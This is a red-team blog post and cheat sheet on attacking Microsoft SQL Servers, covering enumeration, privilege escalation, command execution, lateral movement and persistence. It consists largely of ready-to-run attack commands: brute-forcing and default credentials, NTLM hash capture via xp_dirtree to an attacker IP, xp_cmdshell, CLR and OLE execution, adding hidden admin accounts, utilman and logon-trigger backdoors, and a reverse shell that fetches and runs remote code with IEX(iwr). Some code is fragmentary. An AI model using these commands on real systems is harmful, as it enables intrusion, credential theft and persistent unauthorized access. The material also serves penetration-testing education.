Attacking Modern Environments With MSSQL Server SPs
Attacking Modern Environments With MSSQL Server SPs
MS-SQL Servers
Updated: Jun 20, 2022
Lately I've spent some time learning existing research on attack techniques for MS-SQL Servers,
specifically for Red Team engagements & Penetration Tests and I'm very excited to share what
I've learnt with all of you.
This post will provide you with an insight into the attack surfaces of Microsoft SQL Servers.
I'll touch upon relevant techniques (along with tools and commands) for each phase of the kill
chain.
References
@nikhil_mitt - Pentester Academy
Scott Sutherland - NetSPI
Table of Contents
1. Introduction
- MS-SQL Fundamentals
- Lab Setup Guide
2. Enumeration
- Unauthenticated User
- Local User
- Local Administrator
- Domain User
- Auth via Bruteforce
- Auth via Valid Accounts
- Enumeration via Database
- Automated Enumeration
3. Privilege Escalation
- Kerberoasting
- UNC Path Injection
- Impersonation
- Trustworthy Databases
- Automated Audit
4. Exploitation
- OS Command Execution
- SQL Links
- Shared Service Accounts
- Sensitive Data on SQL Servers
5. Persistence
- Startup Stored Procedures
- Registry Modification
- Malicious Triggers
Introduction
Why should we consider targeting MS-SQL Servers when we're performing a Red Team or an
Assumed Breach Pentest?
The majority of organizations base their database infrastructure on SQL Servers.
Since it integrates really well with Windows & AD, the trust relationships can
be leveraged for Lateral Movement.
From an OPSEC perspective, most Blue Teams will have detections in place at
the OS & network level but may not be as strictly monitored at the database
level.
SQL Service often runs with Local Admin privileges. This means when you
execute commands as a SQL service, you have a really good chance of moving
laterally and escalating privileges within the domain as we will see soon.
Before we get started with all of the hackeries, let's first understand a few important concepts
within MS-SQL servers.
MS-SQL Fundamentals
The SQL Service is like any other Windows process and runs in the context of the Service
account.
During the installation of MS-SQL Service, you choose an account(Managed Service account or
a Domain account are mostly used in domain environments to integrate with Kerberos), and
thereafter all of the interactions with the underlying OS take place in the context of this account.
For instance, if this account is privileged, and if you execute SQL injection queries via
'xp_cmdshell', you have those privileges when you execute OS commands.
In the case of Windows account, the SQL server does not prompt for a password. Authentication
is handled by Kerberos. Post auth → You are mapped to a SQL Server role.
In the case of SQL Server Login, authentication is handled by the SQL Server. Post auth → You
are mapped to a SQL Server role.
Post authentication, you can see the SQL Server Logins including the ones we configured during
installation.
SQL Roles
Enumeration
Unauthenticated User
Port Scanning: TCP/UDP Scan
By default, SQL servers listen on TCP 1433 and UDP 1434. The port scanning tools mentioned
below perform a TCP/UDP scan and queries hosts on these ports for SQL servers.
#PowerUpSQL
Get-Content targets.txt | Get-SQLInstanceScanUDP –Threads 10
Get-SQLInstanceBroadcast
#osql / sqlcmd:
sqlcmd /L
Open shares/ Repositories
During the OSINT phase, enumerate public repositories for connection strings and DB
credentials.
Enumerate the internal network for open shares. These may contain configuration files for
connection strings which may be used for authentication.
Local User
To check if there's a SQL service running as a local user you can use:
Registry Enumeration
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server'
- Service Enumeration
Service Enumeration
Get-Service -Name *MSSQL*
#PowerUpSQL
Get-SQLInstanceLocal | Get-SQLConnectionTest
Local Privilege Escalation via JuicyPotato can help elevate to LOCAL SYSTEM.
Local Administrator
If you're able to elevate to Local Admin privileges on a server running a SQL service, you can
get access to the database using the following techniques:
Token Impersonation
With local admin privileges, one can check for tokens of the SQL service account and
impersonate them so that you can gain access privileges and run commands as that user.
#PowerUpSQL
Invoke-SQLImpersonateService
#https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-
TokenManipulation.ps1
Dump local MS-SQL server hashes from a Windows system if you don't have
access to this database.
The tool "osql" is installed with Microsoft SQL Server and the option "-E" will try to
authenticate on the database with your current Windows login account.
#MSSQL 2000:
osql -E -Q "SELECT name,password frommaster.dbo.sysxlogins"
#MSSQL 2005
osql -E -Q "SELECT name,password_hash FROMsys.sql_logins"
Domain User
SPN Scanning
Assuming you have access to a domain user, you can perform SPN Scanning. SPN scanning is
fast and reliable at finding all SQL servers in the domain. (port scanning is limited by network
restrictions). It relies on how services are configured in Active Directory:
- Every service that is enabled for Kerberos authentication must have a Service Principal
Name.
- SPN is a unique identifier of a service instance in an AD forest.
- SPN scanning performs service discovery via LDAP queries to a Domain Controller.
- It returns a list of SQL Server instances discovered by querying a domain controller for
systems with registered MSSQL* Service Principal Names (SPNs).
#PowerUpSQL
Get-SQLInstanceDomain
It's always a good idea to check for weak passwords for SQL Server Logins.
Invoke-SQLAuditWeakLoginPw - By default, will only test the login as the password, and
"password" as the password. So only two passwords will be attempted for each enumerated
login. However, custom user and password lists can be provided.
Get-SQLServerLoginDefaultPw - Checks for default credentials on SQL Server instances used
by 3rd party applications. If the instance name is a known 3rd party, the corresponding
password is tried. A few instance names and their passwords are given below:
Passwo
Instance
SALESLOGIX sa/SLXMas
ACT7 sa/sa
COMMVAULT sa/adm
RTCLOCAL sa/mypasswo
PCAMERICA sa/PCAmer
#PowerUpSQL
Invoke-SQLAuditWeakLoginPw
Get-SQLServerLoginDefaultPw
#Metasploit
use auxiliary/scanner/mssql/mssql_login
#Nishang:
$targets = (GetSQLInstanceDomain).ComputerName
$targets | Invoke-BruteForce -UserList users.txt -PasswordList pass.txt -Service SQL
Let's say you've identified valid credentials, you can use the following tools:
#PowerUpSQL
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password
#Sqlcmd: sqlcmd –S -U
Enumeration via Database
Blind SQL Server & Domain Enumeration
The "suser_name()" function returns the principal name for a given principal ID. All you
need is the 'public' DB role i.e all domain users can use this function.
For instance, the principal ID(1) corresponds to' sa' and principal ID(259) corresponds to
'HOME\sql_admin' in our lab environment.
PowerUpSQL automates this process by fuzzing all Principal IDs to return the
corresponding principal names from the database.
#PowerUpSQL
Get-SQLFuzzServerLogin -Instance
Get-SQLFuzzDomainAccount -Instance
Additional SQL server logins identified can be targets for brute-force attacks for weak
passwords. In our case, we've identified 'Joe', 'Joey' and 'trustedjoe' apart from default SQL
Server logins.
You can take this a step ahead and enumerate all domain users, groups and more. For more
information refer NetSPI's blog.
Database Enumeration
Alright! Assuming you've got your hands on a set of working credentials, what are some basic
commands to enumerate the database? You may be familiar with the below commands if you've
exploited a classic SQL injection vulnerability.
#Server version:
SELECT @@version
#Current DB Role:
SELECT user
#Current DB:
SELECT db_name()
#List DBs:
SELECT name FROM master..sysdatabases
#List tables:
use ;SELECT * FROM INFORMATION_SCHEMA.TABLES;
Automated Enumeration
If you'd like to automate the process of enumeration of privileges, you can use PowerUpSQL's
Invoke-SQLDumpInfo. This cmdlet can be used to quickly inventory databases, privileges
and other information and stores them as CSV files which then can be used to create a report.
#PowerUpSQL
Invoke-SQLDumpInfo -Verbose -Instance "<Instance Name>"
Privilege Escalation
So now you've completed your enumeration phase → identified SQL server instances on the
network → identified SQL server logins → let's assume you have found a set of valid
credentials. We will now look into various misconfigurations which can be abused for the
elevation of privileges.
Kerberoasting
In order to understand how kerberoasting works, one needs to understand how authentication is
handled within Active Directory. I'd recommend reading the reference link for a detailed
explanation.
Reference
Basically what we're doing is we request a TGS for our SQL Service from the Domain
Controller, which is encrypted with the NTLM hash of the SQL service account. Once we
receive the TGS, we brute-force it against a list of weak passwords and if the password in use
is present in the wordlist, we can gain access to the SQL Server.
#with Invoke-Kerberoast.ps1
Invoke-Kerberoast -Identity -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding
ASCII hashes.txt
A UNC path uses double slashes or backslashes to precede the name of the computer. For
instance: \\server-name\shared-resource
UNC paths are used to access remote file servers under the context of the SQL Server service
account. Within SQL Servers, the stored procedures 'xp_dirtree' and 'xp_fileexist' accept file
paths. These stored procedures are available to members of the 'public' role by default.
If we can point these to our Capture Server where we'll have a listener set up with Responder, the
SQL server tries to access the share and authenticate to it, which is where we can extract the
SQL service account's password hash and crack/relay it.
Hence by default, the public role(i.e every domain user) has direct access to the SQL Server
service account's NetNTLMv2 password hash.
xp_dirtree \\< Attacker-IP>\
xp_fileexist \\<Attacker-IP>\
For a detailed guide on how to perform LLMNR Poisoning & relay attacks with Responder\
Inveigh refer:
byt3bl33d3r.github.io
infinitelogins.com
In the screenshot below, I've used the 'xp_dirtree' stored procedure to fetch a file from our
listener server, which then obtains the NTLMv2 hash of the SQL service account.
In the screenshot below, I've used the 'xp_dirtree' stored procedure to relay the hash onto another
host(SMB-Signing should be disabled) where the SQL server apparently had administrative
privileges. In this case, NTLMRelayx, by default dumps the local SAM database.
Impersonation
The 'EXECUTE AS' statement is a feature within SQL servers that allows a user to
impersonate and execute commands as another SQL Server login or database user. This
allows database admins to delegate permissions to other users to execute certain stored
procedures without necessarily giving them the sysadmin role.
Execution context is reverted to the original caller only after execution of the procedure or when
a REVERT statement is issued. By default, this permission is implied for 'sysadmin' for all
databases and 'db_owner' role members in databases that they own.
Always check for impersonation chains. For example, User A can impersonate User B. User B
can impersonate 'sa’.
Note when you run the 'xp_cmdshell' stored procedure while impersonating a user all of the
commands are still executed as the SQL Server service account, NOT the SQL Server login or
impersonated domain user. So even if the sysadmin can impersonate the Domain Admin within
the SQL server, OS commands are still executed in the context of the SQL service account.
#Find SQL Server Logins that can be impersonated:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON
a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE
In the screenshot above, SQL Login 'Joe' can impersonate 'Joey' & 'sa'. Let's try to switch our
execution context to these users.
#Impersonate the server level permissions of a login:
EXECUTE AS LOGIN = '<user>';
REVERT
However, if we try to execute commands as 'sa', the SQL server gives us an error.
This is a good indicator to check for impersonation chains.
Current user: Joe → Impersonates Joey (not sysadmin) →Impersonates sa (is sysadmin)
Trustworthy Databases
This isn’t always bad, but when sysadmins create trusted databases and don’t change the owner
to a lower privileged user the risks start to become noticeable. This allows writing procedures
that can execute code that uses server-level permission. If the TRUSTWORTHY setting is set
to ON, and if a sysadmin is the owner of the database, it is possible for a user with the
db_owner role to elevate privileges to sysadmin.
Attack Flow:
- Sysadmin is the database owner (dbo) of the database.
- Current/impersonated user has db_owner role [i.e Admin privileges in the database]
- We create a stored procedure that can EXECUTE AS OWNER.
- Executed stored procedure adds the user to the sysadmin role!
#Enumerate TRUSTWORTHY database:
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS
TRUSTWORTHY from sys.databases
Automated Audit
If you'd like to automate the checks for common high impact vulnerabilities and weak
configurations using the current login’s privileges, use PowerUpSQL's Invoke-SQLAudit.
All of the techniques that we discussed can be identified with this script as shown in the
screenshots below.
#PowerUpSQL
Invoke-SQLAudit -Instance '<Instance>'
Exploitation
OS Command Execution
With sysadmin privileges on a SQL Server, it is possible to execute OS level commands on the
server as:
1. SQL Server service account in almost all cases when running as:
Local user, local admin, SYSTEM, Network service, Local managed service
account.
Domain user, domain admin, domain managed service account.
2. Agent service account for agent jobs. (Disabled by default)
In SQL Server, stored procedures are basically chunks of SQL code intended for reuse that
get compiled into a single execution plan. Similar to functions, they can accept parameters and
provide output to the user. The 'xp_cmdshell' is a commonly abused stored procedure in SQL
servers to execute OS-level commands. This is disabled by default but can be enabled with
'sysadmin' privileges.
#If the xp_cmdshell stored procedure has been dropped but the .dll has not #been deleted, any
of following will re-install it:
EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
EXEC sp_addextendedproc xp_cmdshell,'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\
xplog70.dll'
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
#Enable xp_cmdshell
EXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1
reconfigure
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go
#Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
We can create a stored procedure that replicates the functionality of 'xp_cmdshell'. Note that this
requires writing a file to the disk of the victim SQL server.
In a nutshell, we create a DLL which will execute a custom command → Save the DLL to
an accessible location (UNC path\WebDAV) → Create a stored procedure that loads the
DLL → Execute the newly created stored procedure.
Unfortunately in my testing, I was unable to execute the stored procedure due to an error even
though I had set everything up properly. [Error: "Reason 126: The specified module could not be
found".] If you know how to get past this, please let me know!
#PowerUpSQL:
Create-SQLFileXpDll -OutFile C:\Files\create_user.dll -Command "net user Hacker
Password1!;net localgroup administrators Hacker /add" -ExportName create_user
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query
"sp_addextendedproc 'create_user', '\\192.168.16.7\Files\create_user.dll'"
Get-SQLQuery -UserName sa -Password Password1 –Instance <Instance> –Query "EXEC create_user"
#Cleanup
sp_dropextendedproc 'create_user'
Common Language Runtime is basically a run time environment by .NET to execute code.
Assemblies take the form of executables (.exe) or dynamic link library (.dll) files and are the
building blocks of .NET applications. CLR Assembly is a .NET DLL that can be imported into
SQL Server. Once imported, the DLL methods can be linked to stored procedures and
executed via TSQL.
Hence we can execute C# code via the creation of a custom CLR stored procedure on a target
SQL Server with the below advantages:
Loads a .NET assembly directly into the memory of a SQL Server.
No disk footprint.
xp_cmdshell is not required
1. Making Custom CLR DLL for SQL Server (Ideal for shells)
1. Payload creation frameworks (Msfvenom/ ScareCrow) + EDR Protections →
DLL file
2. PowerShell script converts DLL → TSQL queries with DLL as hexadecimal
strings.
3. Execute the TSQL queries as a sysadmin.
The below screenshot is an example(executes 'whoami') of the output of the PS script that :
2. Execute custom commands
#PowerUpSQL
InvokeSQLOSCmdCLR -Username sa -Password <pass> -Instance <target> -Command '<command'
#SeeCLRly: https://github.com/sekirkity/SeeCLRly
New-CLRProcedure
SeeCLRly enables CLR stored procedures on the SQL Server.
Loads a .NET assembly into memory.
Creates a stored procedure (cmd_exec) from the loaded assembly.
#SeeCLRly
Invoke-CmdExec -Server <Target> -Command '<cmd>'
The above cmdlet passes a specified command to the previously created stored
procedure, where it is then executed.
OPSEC note: Enabling CLR Stored Procedure creates an alert just like 'xp_cmdshell', however,
this isn't as closely monitored.
#Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
OLE stands for Object Linking and Embedding. It allows one application to link objects into
another application. OLE procedures are system procedures that allow the use of COM
using SQL queries. Simply put, COM allows for one application to expose its functionality to
other applications.
OLE automation procedures are turned off by default however they can be turned on with either:
sysadmin privileges [OR]
Execute privileges on sp_OACreate & sp_OAMethod
#Enable OLE Automation
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
#Execute command with 'WScript.Shell' COM object and 'Run' method:
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
Agent Jobs
The SQL Server Agent service is used by SQL Server to execute scheduled tasks. It is
typically used for items such as backing up the SQL Server database or other maintenance tasks.
The agent jobs are scheduled and run under the context of the MSSQL Server Agent
service. By default, this is configured as a 'Network Service' account, but can be more privileged
accounts including domain accounts.
The screenshot below shows how the Agent service is configured on a default SQL installation.
[Also note our lab installation of SQL Server(Express edition) doesn't come with Agent.]
Pre-requisites:
Agent service needs to be enabled. By default, the service 'Start Mode' is set to
'disabled' when you install SQL Server.
Requires sysadmin role by default.
Non-sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole, and
SQLAgentOperatorRole fixed database roles in the msdb database can also be
used.
You can use the following Subsystems (job types):
Microsoft ActiveX Script (VBScript and Jscript)
CmdExec
PowerShell
SSIS (SQL Server Integrated Services)
#Enumerate job names, and create similar names to avoid being detected.
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command,
server, database_name FROM msdb.dbo.sysjobs job
INNER JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id
#PowerUpSQL
Get-SQLAgentJob -Instance <target> -username sa -Password <pass> -Verbose
Creating a Job
Start the SQL Server Agent service (xp_startservice)
Create Job (sp_add_job)
Add job step (sp_add_jobstep)
Run Job (sp_start_job )
Delete Job (sp_delete_job)
#Delete job
EXEC dbo.sp_delete_job @job_name = N"PSJob'
#PowerUpSQL
Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password <pass> -Instance ops-
sqlsrvone –Command "<powershell cmd>"
#Using CmdExec subsystem:
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob'
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1',
@subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts =
1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
#EXEC dbo.sp_delete_job @job_name = N'cmdJob'
SQL Links
A database link allows a SQL Server to access external data sources such as other SQL
servers, Oracle databases, excel spreadsheets, and so on. Due to common misconfigurations,
the links, or “Linked Servers”, can often be exploited to traverse database link networks,
gain unauthorized access to data, and deploy shells. In the case of database links between
SQL servers, it is possible to execute stored procedures. Database links work even across
forest trusts.
SQL Server links can be configured in two ways.
Using the current security context.
Pre-configured with hard-coded credentials. (This is what we are interested in)
Note: Outgoing RPC connections (rpcout) need to be enabled on links in order to enable
xp_cmdshell on remote linked servers. (Disabled by default)
RPCout issue:
If xp_cmdshell is not enabled on a linked server, it may not be possible to enable
it even if the link is configured with sysadmin privileges.
Any queries executed via Openquery() are considered user transactions that don’t
allow reconfigure to be run.
Enabling xp_cmdshell using sp_configure does not change the server state
without reconfigure and thus xp_cmdshell will stay disabled.
#Enumerate SQL Links: (Check for presence of 1 for DatabaseLinkId)
Get-SQLServerLink -Instance dcorp-mssql –Verbose
Organizations often utilize a single domain account to run many SQL Servers.
If we compromise a single SQL Service account, we will also have compromised all SQL
servers using that shared account. OS commands executed inside SQL Server run in the
context of the SQL Server service account.
SQL Server service accounts have sysadmin privileges by default. This means sysadmin access
to those databases and possibly administrative access to the underlying OS since SQL services
usually run with local administrator privileges.
Going back to our scenario, we have identified several SQL Servers, gained sysadmin privileges
and exploited them for lateral movement. Let's assume one of the objectives of the Red Team
engagement was to target customer credit card data.
With PowerUpSQL we can easily scale domain SQL DB enumeration for sensitive
information. It samples columns from the DB and checks for certain keywords or patterns.
#PowerUpSQL
#Get accessible SQL Servers:
$Servers = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10
#Accessible Databases:
$Databases = $Accessible | Get-SQLDatabaseThreaded –Verbose –Threads 10 –NoDefaults
Persistence
During red team engagements, one common goal is to maintain access to target
environments while security teams attempt to identify and remove persistence methods.
Detective controls tend to focus on compromised account identification and persistence methods
at the operating system layer. While prioritizing detective control development in those areas is a
good practice, common database persistence methods are often overlooked.
All startup stored procedures run under the context of the 'sa' login, regardless of what login
was used to flag the stored procedure for automatic execution. Even if the 'sa' login is disabled,
the startup procedures will still run under the sa context when the service is restarted.
The native 'sp_procoption' stored procedure can be used to configure user-defined stored
procedures to run when SQL Server is started or when the SQL service is restarted.
#List stored procedures marked for automatic execution
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
#Change DB
USE master
'xp_regwrite' is a native extended stored procedure that you can use to create/modify Windows
registry keys without using xp_cmdshell. Note this executes with the SQL Server service
account’s privileges. (Requires Local Admin privileges)
This technique basically modifies a registry key to perform a certain action based on an
event. This could be when a user logs in, or when the system restarts or even when a pre-
configured key is entered.
We configure a debugger for utilman.exe (Shortcut key: windows key+u), which will run
cmd.exe when it’s called. After the registry key has been modified, it’s possible to RDP to
the target and launch cmd.exe with the 'windows key+u' key combination.
Note if network-level authentication(NLA) is enabled, you won’t have enough access to see the
login screen and you may have to consider other options for command execution.
#PowerUpSQL
Get-SQLPersistRegDebugger -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -
Instance "<target>"
We can see the modified registry key below:
Malicious Triggers
A trigger is a kind of stored procedure that automatically executes when an event occurs in the
SQL server. There are three types of triggers that get executed based on the following SQL
statements:
Data Definition Language: CREATE, ALTER, DROP statements.
Data Manipulation Language: INSERT, UPDATE, DELETE statements
Logon Triggers: Executes on a logon event.
We will focus on Logon triggers as DDL & DML triggers execute under the context of the
calling user(not necessarily sysadmin) & due to the nature of the statements, may trigger
multiple times.
Logon triggers are used to prevent users from logging into SQL Server under defined
conditions. For instance, preventing users from logging in after-hours or establishing concurrent
sessions. As a result, our trigger would get executed when a specified blocked account attempts
to log in.
To abuse this we create a low-privileged backdoor SQL login and configure a logon trigger
that binds to this account. Then simply attempting to log in with this account can execute
whatever SQL query or operating system command we want.
#Create trigger
CREATE Trigger [sneaky_trigger]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'backdoor_user'
EXEC master..xp_cmdshell 'net user backdoor Passw0rd1! /add';
EXEC master..xp_cmdshell 'net localgroup administrators backdoor /add';
END;
#Cleanup
DROP TRIGGER [sneaky_trigger] on all server
You may like to note that this generates the following error event:
To know more about how to detect this technique, refer NetSPI's blog.
Take-aways
SQL Server misconfigurations are very common and serve excellent targets
during Red Teams & Penetration Tests.
PowerUpSQL is very resourceful for auditing & pen-testing activities.
Cheatsheets
If you're hungry for more and you'd like to see how an SQLi could lead to complete Domain
compromise, check out Improsec's blog post!
Red Team
SQL Server
Penetration Testing
https://www.offsec-journey.com/post/attacking-ms-sql-servers
https://www.hackingarticles.in/penetration-testing-lab-setupms-sql/
To Install SQL Server PowerShell module : Install-Module -Name SqlServer -
RequiredVersion 21.1.18245
Or Manually download from here
Cheatsheet :
Link
Payloadallthethings
Fundamentals
Enumeration
Reference
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://www.darkoperator.com/blog/2009/11/27/attacking-mssql-with-
metasploit.html
https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-
40e1c418edc3
https://h4ms1k.github.io/Red_Team_MSSQL_Server/#
Default Credentials : sa:<Blank>
Tools
HeidiSQL
PowerUpSQL :Import-Module PowerUpSQL.psd1
Microsoft SQL Server Management Studio
OSQL
SPN Scanning: Lists SPNs that begin with MSSQL. Not necessarily accessible.
#PowerUpSQL
Get-SQLInstanceScanUDP -Computername <IP>
#Azure Environments
DNS Dictionary attack against URLs with the format x.databases.windows.net
OSINT for connection strings, config files on public repositories.
#As a Domain user:
#All SQL Instances in the Domain
Get-SQLInstanceDomain
sqlcmd /L
Invoke-SQLAuditWeakLoginPw
Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
#Metasploit
msf> use auxiliary/scanner/mssql/mssql_login
#Impacket
mssqlclient.py -p 1433 Username@Domain_name -windows-auth
#MITM Attacks
https://www.anitian.com/hacking-sql-servers-without-password/
Database Enumeration
#Extract all logins from DB. Note this will show only a subset of logins.
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'
SELECT name FROM sys.syslogins
SELECT name from sys.server_principals
#Blind SQL Server Login & Domain A/c enumeration using suser_name()
#suser_name() returns the principal name for a given principal ID. eg:
SELECT SUSER_NAME(2)
Get-SQLFuzzServerLogin -Instance <Computer\Instance>
Get-SQLFuzzDomainAccount -Instance <Computer\Instance>
#Metasploit
use admin/mssql/mssql_sql
set action "select @@version"
#PowerUpSQL
Get-SQLQuery -Query "<Query>" -Instance <Instance>
#Current database
SELECT db_name()
#Enumerate privileges
SELECT IS_SRVROLEMEMBER('sysadmin')
Extracting Passwords
#SQL Login Password Hashes
Get-SQLServerPasswordHash -Verbose -Instance <Instance>
#VarCHAR convert
Select CONVERT (varchar(514), (LOGINPROPERTY('sa', 'PasswordHash') ), 1)
Automated Audit
#Automted Enum - Current Privs
Invoke-SQLDumpInfo -Verbose -Instance '<Instance>'
Impersonation
EXECUTE AS statement allows you to switch the execution context of a statement
by impersonating another login or database user.
Execution context is reverted to the original caller only after execution of the
procedure or when a REVERT statement is issued.
This permission is implied for sysadmin for all databases, and db_owner role
members in databases that they own.
Always check for impersonation chains. For example, User A can impersonate
User B. User B can impersonate 'sa'.
When you run xp_cmdshell while impersonating a user all of the commands are
still executed as the SQL Server service account, NOT the SQL Server login or
impersonated domain user.
If you have the rights to impersonate a db_owner you may be able to escalate to
a syadmin leveraging the Trustworthy misconfiguration.
Resources: https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-
user-impersonation/
#Find SQL Server logins which can be impersonated in the current database
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN
sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE
a.permission_name = 'IMPERSONATE'
#Powershell
#https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-
ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .\Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser
myuser1 -SqlPass MyPassword!
#Metasploit
mssql_escalate_executeas
The “sa” account is the database owner (DBO) of the “target” database.
With db_owner role [Admin privileges in the database] we can create a stored
procedure that can EXECUTE AS OWNER
Executed stored procedure adds the user to the sys admin role!
Theory
#Set as TRUSTED
ALTER DATABASE <DB-name> SET TRUSTWORTHY ON
USE <DB-Name>
EXEC sp_elevate_me
SELECT is_srvrolemember('sysadmin')
#HeidiSQL
use <DATABASE>;
EXECUTE AS USER = 'dbo'
SELECT system_user
SELECT IS_SRVROLEMEMBER('sysadmin')
#PowerUpSQL
Invoke-SQLAuditPrivTrustworthy -Instance ops-sqlsrvone -Verbose
OS Command Execution
With sysadmin privileges on a SQL Server, it is possible to execute OS level
commands on the server as:
o SQL Server service account in almost all cases when running as:
Local user, local admin, SYSTEM, Network service, Local managed
service account.
Domain user, domain admin, domain managed service account.
o Agent service account for agent jobs.
Enabling xp_cmdshell
#PowerUpSQL
Invoke-SQLOSCmdExec -Instance <Instance-name> -Command whoami
#Using Invoke-SQLCmd
Invoke-SQLCmd -ServerInstance UFC-DBPROD.us.funcorp.local -Query ""<Add
the below queries here>"
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Reverse shell
msf exploit(multi/script/web_delivery) > set target 3
msf auxiliary(admin/mssql/mssql_exec) > set CMD "Paste shell text here"
#Nishang
Execute-Command-MSSQL -ComputerName opssqlsrvone.OffensivePS.com -UserName
sa -Password Password1
#PowerUpSQL
Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-
mssql.offensiveps.com –Command whoami
#Run query across all nodes
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec
master..xp_cmdshell 'whoami'"
#Concise output
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec
master..xp_cmdshell 'whoami'" | ft
Database Links
A database link allows a SQL Server to access external data sources like other SQL
Servers and OLE DB data sources.
SQL Server links can be configured to work in two ways. Using the current user
A/c or by using hard-coded credentials. If in the case of hard-coded credentials,
members of the public role are able to query linked DBs using OpenQuery.
In case of database links between SQL servers, that is, linked SQL servers it is
possible to execute stored procedures.
Database links work even across forest trusts.
If RPCout is enabled (disabled by default), xp_cmdshell can be enabled.
Cheatsheet:https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-
Sheet
#Reverse shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "xp_cmdshell 'IEX(iwr
''<URL>'' -UseBasicParsing)'"
UNC paths are used to access remote file servers under the context of the SQL Server
service A/c.
The stored procedures xp_dirtree and xp_fileexist accept file paths. If we can point these
to our Capture Server, we can extract the Service A/c's password hash and crack/relay it.
Hence the public role has direct access to the SQL Server service account's NetNTLM
password hash, by default.
xp_dirtree '\\192.168.1.123\'
xp_fileexist '\\192.168.1.123\'
#Metasploit
auxiliary/server/capture/smb
auxiliary/admin/mssql/mssql_ntlm_stealer
#PowerUpSQL
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe"
-ExportName xp_calc
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –
Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\
xp_calc.dll'"
Get-SQLQuery -UserName sa -Password Password1 –Instance ops-sqlsrvone –
Query "EXEC xp_calc"
https://blog.netspi.com/attacking-sql-server-clr-assemblies/
.NET DLL (or group of DLLs) that can be imported into SQL Server. Once
imported, the DLL methods can be linked to stored procedures and executed via
TSQL.
Loads a Dot Net assembly directly into the memory of a SQL Server, without
touching the disk.
Pre-requisites:
o Must have the sysadmin privilege in order to enable CLR stored
procedures.
o The database upon which the technique is executed must have the
TRUSTWORTHY property set the TRUE. The built-in database “msdb”
has this set by default, and thus is used by the cmdlets.
Reference: http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-
stored-procedure-command-execution/
Workflow
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output",
SqlDbType.NVarChar, 4000));
proc.WaitForExit();
proc.Close();
}
};
#Execute commands via the “cmd_exec” stored procedure in the “msdb” DB.
cmd_exec 'whoami'
#Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
Convert CLR DLL into a Hexadecimal String and Import It [Does not touch disk]
You don’t have to reference a physical DLL when importing CLR assemblies into SQL
Server. “CREATE ASSEMBLY” will also accept a hexadecimal string representation of a
CLR DLL file.
# Target file
$assemblyFile = "c:\temp\cmd_exec.dll"
#https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
import-module SeeCLRly.ps1
Add-CLRProcedure -Server MSSQL
Invoke-CmdExec -Server MSSQL -Command "mkdir c:\temp"
